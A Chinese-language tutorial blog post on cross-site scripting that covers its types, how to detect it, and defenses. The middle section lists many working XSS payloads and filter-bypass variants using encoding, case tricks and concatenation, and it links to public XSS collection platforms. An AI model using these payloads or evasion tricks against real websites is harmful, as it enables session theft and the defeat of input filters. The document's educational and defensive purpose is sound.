浅析XSS漏洞

发布于 2021-08-06  68 次阅读


接触xss漏洞也很长时间了,但是在真实的环境上面,总感觉这个漏洞很鸡肋。本着存在即合理的原则,今天又重新梳理了一下XSS漏洞,多了很多不一样的心得体会,下面就来总结一下。

什么是XSS漏洞

**XSS(Cross-Site Scripting)**就是跨站脚本攻击。为了不与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,因此将其缩写为XSS。XSS漏洞是一种存在Web应用中常见的安全漏洞,它允许用户将恶意代码植入Web页面,当其他用户访问此页面时,植入的恶意代码就会在其他用户的客户端中执行

XSS漏洞的原理和危害

XSS漏洞核心是,通过控制浏览器前端的JavaScript代码,对其他用户造成危害

当漏洞产生时,只要是JavaScript代码能够实现的操作都有可能成为XSS漏洞造成的危害,例如可以用过XSS漏洞获取客户端用户信息(其中最常利用的是获取Cookie信息),可以通过XSS蠕虫进行信息传播,可以在客户端中植入木马,可以结合其他漏洞攻击服务器,在服务器中植入木马等

XSS漏洞的分类

  • 反射型XSS漏洞利用反射型XSS漏洞植入的恶意代码不会存储在服务器端,一般容易出现在搜索页面,需要工造植入恶意代码的Web页面,诱骗受害者访问该页面,才能触发攻击。因此,反射型XSS漏洞需要结合社会工程学,才能产生触发,造成了漏洞的利用难度变高,使用不便等问题。
  • 存储型XSS漏洞利用存储型XSS的恶意代码存储在服务器中,一般植入留言板、个人信息、文章发布等功能的页面中。如果页面对用户输入的数据过滤的不严格,恶意用户会将恶意代码存储到服务器中。这中类型的XSS漏洞危害非常严重,因为恶意代码会存储到服务器中,漏洞能够产生危害的几率变大,客户端每次访问服务器都会触发恶意代码。
  • DOM型XSS漏洞Dom型XSS漏洞是基于文档对象模型(Document Object Model)的一种XSS漏洞,其核心在于改页面的DOM节点形成的XSS,对目标造成危害

XSS漏洞的识别

  • 见框就插这是非常将经典的一种识别XSS漏洞的方式,插入弹框语句,看页面是否弹窗
  • 分析源码因为前端代码是完全公开的,因此我们可以通过前端源码,来分析我们那些前端参数是可控的。

XSS漏洞的利用

  • 正常payload<scirpt>alert("xss");</script>

    <a href="javascript:alert(`xss`);">xss</a>

    <img src=1 onerror=alert("xss");>

    <input onfocus="alert('xss');">

    <details ontoggle="alert('xss');">

    <svg onload=alert("xss");>

    <select onfocus=alert(1)></select>

    <iframe onload=alert("xss");></iframe>

    <video><source onerror="alert(1)">

    <audio src=x onerror=alert("xss");>

    <body/onload=alert("xss");>

    <textarea onfocus=alert("xss"); autofocus>

    <keygen autofocus onfocus=alert(1)>

    <marquee onstart=alert("xss")></marquee>

    <isindex type=image src=1 onerror=alert("xss")>

    <link rel=import href="http://127.0.0.1/1.js">
  • 绕过过滤payload过滤空格
    <img/src="x"/onerror=alert("xss");> #用/代替空格
    过滤关键字
    <ImG sRc=x onerRor=alert("xss");> #大小写绕过
    双写关键字
    <imimgg srsrcc=x onerror=alert("xss");> #有些waf可能会只替换一次且是替换为空,这种情况下可以用双写关键字绕过
    字符拼接
    <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
    <script>top["al"+"ert"](`xss`);</script>
    编码绕过
    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"> #Unicode编码绕过
    <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> #Unicode编码绕过
    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> #url编码绕过
    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> #Ascii码绕过
    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> #hex绕过
    <img src=x onerror=alert('\170\163\163')> #八进制
    <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> #base64绕过
    过滤双引号,单引号
    <img src="x" onerror=alert(`xss`);> #如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
    过滤括号
    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> #当括号被过滤的时候可以使用throw来绕过
    过滤url地址
    <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> #url编码
    使用IP
    <img src="x" onerror=document.location=`http://2130706433/`> #十进制IP
    使用中文逗号代替英文逗号
    <img src="x" onerror="document.location=`http://www。baidu。com`"> #如果你在域名中输入中文句号浏览器会自动转化成英文的逗号
  • XSS平台https://xsshs.cn/xss.php
    https://xss.pt/xss.php
    http://xss.kggzs.com/

XSS漏洞的Tips

  1. xss利用范围参照同源性法则,即同IP、 同端口和同域名
  2. 一定不能局限,要有多维考虑,比如存储型XSS,可能对用户输入处过滤及其严格,但是对自己获取的数据比较信任
  3. 不能相信F12展示的数据,以网页源码为主

XSS漏洞的防御

  • 使用正则表达式,过滤 ' " < 等危险字符
  • 使用htmlsoecialchars等函数将预定义的特殊字符转为HTML实体

参考文章

  1. https://www.freebuf.com/articles/web/226719.html
  2. https://bbs.zkaq.cn/t/5081.html